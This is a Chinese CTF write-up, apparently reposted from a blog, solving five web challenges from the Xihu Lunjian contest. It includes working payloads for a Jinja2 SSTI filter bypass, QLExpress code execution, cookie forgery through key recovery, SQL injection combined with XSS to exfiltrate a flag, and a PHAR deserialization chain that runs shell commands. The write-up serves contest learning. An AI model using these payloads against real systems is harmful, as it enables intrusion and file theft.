第九届西湖论剑·网络大赛(web篇)解题思路

作者:玄网安全 发布:2026-08-22 13:37 收录:2026-09-21 08:44 2 次阅读 约 2184 字
摘要:第九届西湖论剑·网络大赛(web篇)解体思路 如果有错误,请大家提醒我 WEB-01 Age Test:Jinja2 SSTI 1. 源码/附件 现有前端文件: 正式赛/Web/_out/web01_home.html 前端会把 nickname POST 到根路径: function send(){ let nick…
推荐理由:本文涵盖「西湖论剑」、「CTF」、「Jinja2 SSTI」等多个主题,重点关注 西湖论剑。

第九届西湖论剑·网络大赛(web篇)解体思路

如果有错误,请大家提醒我

WEB-01 Age Test:Jinja2 SSTI

1. 源码/附件

现有前端文件:

正式赛/Web/_out/web01_home.html

前端会把 nickname POST 到根路径:

function send(){
    let nickname = $('#nickname')[0].value;
    if(nickname.length > 0){
        $.post("/", {'nickname': nickname}, function(data){
            $('#msg')[0].innerHTML = '<b>' + data + '</b>';
        });
    }
}

本地探测记录和脚本:

正式赛/Web/_out/web01.txt
正式赛/Web/_out/web01_rce.txt
正式赛/Web/_out/web01_fmt.txt
正式赛/Web/solve_web01.py

探测确认服务端把 nickname 放进 Jinja2 模板,并检查以下字符或字符串:

空格、单引号、+、.、[、]、_、g、x
{{、}}、flag、config、request、os、class、mro、globals、popen、read

已验证:

{{7*7}}               -> Hacker! restricted characters!
{%                     -> Exception
{%if(1)%}ok{%endif%} -> 可以编译并输出 ok
FlaG                   -> 普通文本
lipsum                 -> 普通文本

2. 解题思路

这是 Jinja2 SSTI。过滤器只检查输入中的原始字符,可以使用等价写法绕过:

  1. 用 Jinja2 的 filter 和 replace 执行表达式;
  2. 用八进制转义隐藏危险字符;
  3. 用 attr() 替代点号;
  4. 从 lipsum 函数对象取得 globals 和 builtins;
  5. 调用 open/read 读取 flag 文件。

关键八进制:

_ -> \137
g -> \147
r -> \162
o -> \157

所以:

__globals__  -> \137\137\147lobals\137\137
__builtins__ -> \137\137builtins\137\137
read         -> \162ead

3. Payload

读取 /FlaG:

{%filter	replace("A",lipsum|attr("\137\137\147lobals\137\137")|attr("get")("\137\137builtins\137\137")|attr("open")("/FlaG")|attr("\162ead")())%}A{%endfilter%}

利用链:

lipsum
 -> __globals__
 -> __builtins__
 -> open("/FlaG")
 -> read()
 -> replace("A", 文件内容)

可替换的候选路径:

/FlaG
/FLAG
/flag
/app/FlaG
/proc/self/environ

4. 利用流程/结果

POST /
Content-Type: application/x-www-form-urlencoded

nickname=<URL 编码后的 SSTI Payload>

正常情况下响应中的年龄提示会包含文件内容。提交读文件 Payload 时服务端返回 502,因此 SSTI、过滤绕过和输出原语已确认,但没有取得线上 flag。


WEB-02 QL_again:QLExpress 表达式执行

1. 源码/附件

附件和反编译文件:

正式赛/Web/10741-WEB-02/attachment/QL_again的附件.zip
正式赛/Web/10741-WEB-02/source/jar/
正式赛/Web/10741-WEB-02/source/qlcontroller.javap.txt
正式赛/Web/10741-WEB-02/source/qluntil.javap.txt
正式赛/Web/10741-WEB-02/source/NoNetworkSecurityManager.javap.txt
正式赛/Web/10741-WEB-02/source/Main.javap.txt

Controller:

public String execute(String payload) throws Exception {
    String path = org.example.qluntil.getql(payload);
    if (path.equals("error")) {
        return "error";
    }
    return org.example.qluntil.executeql(path);
}

payload 处理:

String filename = "/tmp/" + payload.substring(03) + ".txt";
String code = new String(Base64.getDecoder().decode(payload));
FileOutputStream out = new FileOutputStream(filename);
out.write(code.getBytes());
out.close();
return filename;

执行处理:

ExpressRunner runner = new ExpressRunner();
QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);
Set secureMethods = new HashSet();
secureMethods.add(null);
QLExpressRunStrategy.setSecureMethods(secureMethods);
runner.execute(code, new DefaultContext(), nullfalsefalse);
new File(path).delete();
return "success";

网络安全管理器只限制外连,checkPermission 为空:

public void checkConnect(String host, int port) {
    if (!host.equals("localhost") && !host.startsWith("127.")) {
        throw new SecurityException("Invalid Address:" + host);
    }
}

public void checkPermission(java.security.Permission permission) {
}

2. 解题思路

  1. payload 是 Base64 编码的 QLExpress 代码;
  2. 原始 payload 的前三个字符会成为临时文件名,因此必须是合法 Base64 字符;
  3. execute 返回值被丢弃,不能通过普通表达式返回 flag;
  4. QLExpress 黑名单没有覆盖所有文件 API;
  5. 使用 Files.readAllBytes 读取 /flag;
  6. 通过 Spring RequestContextHolder 获取当前响应对象并手动写回 flag。

3. Payload

原始 QLExpress:

attrs = org.springframework.web.context.request.RequestContextHolder.currentRequestAttributes();
resp = attrs.getResponse();
bytes = java.nio.file.Files.readAllBytes(java.nio.file.Paths.get("/flag"));
resp.getWriter().write(new java.lang.String(bytes));

Base64 生成:

import base64

code = r'''attrs = org.springframework.web.context.request.RequestContextHolder.currentRequestAttributes();
resp = attrs.getResponse();
bytes = java.nio.file.Files.readAllBytes(java.nio.file.Paths.get("/flag"));
resp.getWriter().write(new java.lang.String(bytes));'''


payload = base64.b64encode(code.encode()).decode()
print(payload)

请求:

GET /execute?payload=<Base64>

或:

POST /execute
Content-Type: application/x-www-form-urlencoded

payload=<Base64>

4. 利用流程/结果

QLExpress 代码
 -> Base64
 -> /execute
 -> 写入 /tmp/xxx.txt
 -> ExpressRunner.execute
 -> Files.readAllBytes("/flag")
 -> response.getWriter().write

本题因实例数达到上限没有启动靶机。路由、Base64 处理、表达式执行、文件读取和响应回显路径已由 Fat JAR 确认,但没有线上验证。


WEB-03 反序列化 Cookie

1. 源码/附件

正式赛/Web/_out/web03_index.php.bin
正式赛/Web/_out/web03_register.php.bin
正式赛/Web/_out/web03_user.php.bin
正式赛/Web/_out/web03_deserialize.php.bin
正式赛/Web/_out/web03_index.html
正式赛/Web/_out/web03_deser.html
正式赛/Web/10750-WEB-03/cookie_decode.txt
正式赛/Web/10750-WEB-03/wp_cookie_admin.txt
正式赛/Web/exp03c.py

页面输出证明服务端会读取反序列化对象:

Hello, AAAAAAAA! Your roles are: user

离线分析得到的正常 PHP 序列化对象:

O:4:"User":2:{s:8:"username";s:8:"AAAAAAAA";s:5:"roles";a:1:{i:0;s:4:"user";}}

2. 解题思路

Cookie 处理链:

PHP serialize
 -> 循环加法加密
 -> URL encode
 -> 再次 URL encode
 -> user_info Cookie

使用已知用户名 AAAAAAAA 做已知明文攻击,恢复 32 字节密钥:

aB3$dE5!gH7*jK9&mN0@pQ2#rS4%tU6^

加密公式:

ct[i] = (pt[i] + KEY[i % 32]) % 256
pt[i] = (ct[i] - KEY[i % 32]) % 256

将 roles 从 user 改为 admin 后重新编码即可伪造权限。

3. Payload

伪造对象:

O:4:"User":2:{s:8:"username";s:8:"AAAAAAAA";s:5:"roles";a:1:{i:0;s:5:"admin";}}

注意长度从 s:4 改为 s:5。

Cookie 生成:

from urllib.parse import quote

KEY = b"aB3$dE5!gH7*jK9&mN0@pQ2#rS4%tU6^"
plain = (
    b'O:4:"User":2:{s:8:"username";s:8:"AAAAAAAA";'
    b's:5:"roles";a:1:{i:0;s:5:"admin";}}'
)
cipher = bytes(
    (plain[i] + KEY[i % len(KEY)]) % 256
    for i in range(len(plain))
)
cookie = quote(quote(cipher, safe=""), safe="")
print("user_info=" + cookie)

请求:

curl -H "Cookie: user_info=<生成结果>" http://target/deserialize.php

4. 利用流程/结果

已知明文 Cookie
 -> 恢复 KEY
 -> 伪造 roles=admin
 -> 循环加密
 -> 双重 URL 编码
 -> user_info Cookie
 -> /deserialize.php

对象结构、密钥和伪造过程均已离线确认。最终请求时靶机返回 502,未取得线上 flag。


WEB-04 BabyXSS

1. 源码/附件

正式赛/Web/10751-WEB-04/source/inner/src/app.py
正式赛/Web/10751-WEB-04/source/inner/src/bot.py
正式赛/Web/10751-WEB-04/source/inner/src/templates/profile.html
正式赛/Web/10751-WEB-04/source/inner/src/templates/register.html
正式赛/Web/exp04.py

注册源码:

form = RegistrationForm(request.form)
username = form.username.data
password = form.password.data
bio = form.bio.data if form.bio.data else ''

if (not is_valid_input(username)
        or not is_valid_input(password)
        or not is_valid_input(bio)
        or form.validate()):
    return redirect(url_for('register'))

c.execute(
    f"INSERT INTO users (username, password, bio) "
    f"VALUES ('{username}', '{password}', '{bio}')"
)

管理员模板:

{% if username == 'admin' %}{{ bio|safe }}{% else %}{{ bio }}{% endif %}

bot 和 flag:

url = f'http://127.0.0.1:8080/profile/{user_id}'
await page.goto(url)
await asyncio.sleep(3)

if '127.0.0.1' in request.remote_addr:
    return (flag, 200)

2. 解题思路

  1. form.validate() 写反,必须构造 WTForms 校验失败的注册请求;
  2. SQL 使用 f-string,用户名可以注入 SQLite 表达式;
  3. ad'||'min 不含连续 admin,可以绕过黑名单;
  4. SQLite 将 ad'||'min 计算为 admin;
  5. admin 的 bio 使用 safe,JavaScript 不会被转义;
  6. report 启动本地 bot,bot 访问 admin Profile;
  7. XSS 从本机 /flag 读取 flag,再写入 leak| 用户的 bio。

3. Payload

注册管理员:

username=ad'||'min
password=123456
bio=<URL 编码后的 XSS>

XSS:

<script>
fetch('/flag')
  .then(function(r){return r.text();})
  .then(function(t){
    fetch('/register',{
      method:'POST',
      headers:{'Content-Type':'application/x-www-form-urlencoded'},
      body:'username=leak%7C&password=123456&bio='+encodeURIComponent(t)
    });
  });
</script>

完整脚本:

正式赛/Web/exp04.py

4. 利用流程/结果

POST /register,username=ad'||'min,bio=<XSS>
 -> SQLite 写入 username=admin
POST /login,username=admin,password=123456
 -> 得到 admin_id
GET /report/<admin_id>
 -> bot 访问 /profile/<admin_id>
 -> XSS GET /flag
 -> 注册 leak| 并把 flag 写入 bio
登录 leak| 查看 Profile

源码级利用链完整,但本场 WEB-04 没有启动实例,未进行线上验证。


WEB-05 图片上传:GIF/PHAR 反序列化

1. 源码/附件

正式赛/Web/10760-WEB-05/attachment/www.zip
正式赛/Web/10760-WEB-05/source/upload.php
正式赛/Web/10760-WEB-05/source/upload_final.php
正式赛/Web/10760-WEB-05/source/info.php
正式赛/Web/deobf_web05.py
正式赛/Web/mkphar2.py

混淆 upload.php 的解码方式为 Base64、raw deflate、每字节减 1。还原后的核心源码:

class AnyClass
{
    var $output = 'echo "ok";';

    function __destruct()
    
{
        eval($this->output);
    }
}

...

$b = 'uploaded_images/' . $_FILES['image']['name'];
@parse_str($_POST['upload']);
if (file_exists($b)) {
    echo "Uploaded successfully";
}

上传只检查扩展名黑名单、大小和 MIME;gif 不在黑名单中,GIF89a 文件头会通过 image/gif 检测。

2. 解题思路

  1. 使用 gif 扩展名绕过黑名单;
  2. 文件以 GIF89a 开头,通过 MIME 检查;
  3. 后面放置 PHAR manifest 和序列化 metadata;
  4. parse_str 覆盖变量 b;
  5. 让 b 指向 phar://uploaded_images/exp.gif;
  6. file_exists 读取 PHAR 并触发 metadata 反序列化;
  7. AnyClass 析构函数 eval output,执行读 flag 代码。

3. Payload

PHAR metadata:

O:8:"AnyClass":1:{s:6:"output";s:<长度>:"echo file_get_contents('/flag');";}

执行代码:

echo file_get_contents('/flag');

或:

system("cat /flag /FLAG /FlaG /flag.txt 2>/dev/null");

生成器:

正式赛/Web/mkphar2.py

上传请求:

curl -X POST http://target/upload.php \
  -F "image=@exp0.gif;filename=exp.gif" \
  --form-string "upload=b=phar://uploaded_images/exp.gif"

4. 利用流程/结果

GIF89a + PHAR manifest
 -> 上传 uploaded_images/exp.gif
 -> parse_str("b=phar://uploaded_images/exp.gif")
 -> $b 被覆盖为 phar://...
 -> file_exists($b)
 -> metadata 反序列化
 -> AnyClass::__destruct()
 -> eval($output)
 -> 读取 /flag

附件、phpinfo、PHAR 结构和本地生成文件均已确认。上传请求时靶机返回 502,未取得线上 flag。


转载声明:本文转载自原发布平台 (作者:玄网安全), 原文标题《第九届西湖论剑·网络大赛(web篇)解题思路》, 查看原文。 版权归原作者及原发布平台所有,本站仅作收录与展示,未对正文内容作实质性修改; 若涉及侵权请联系本站处理。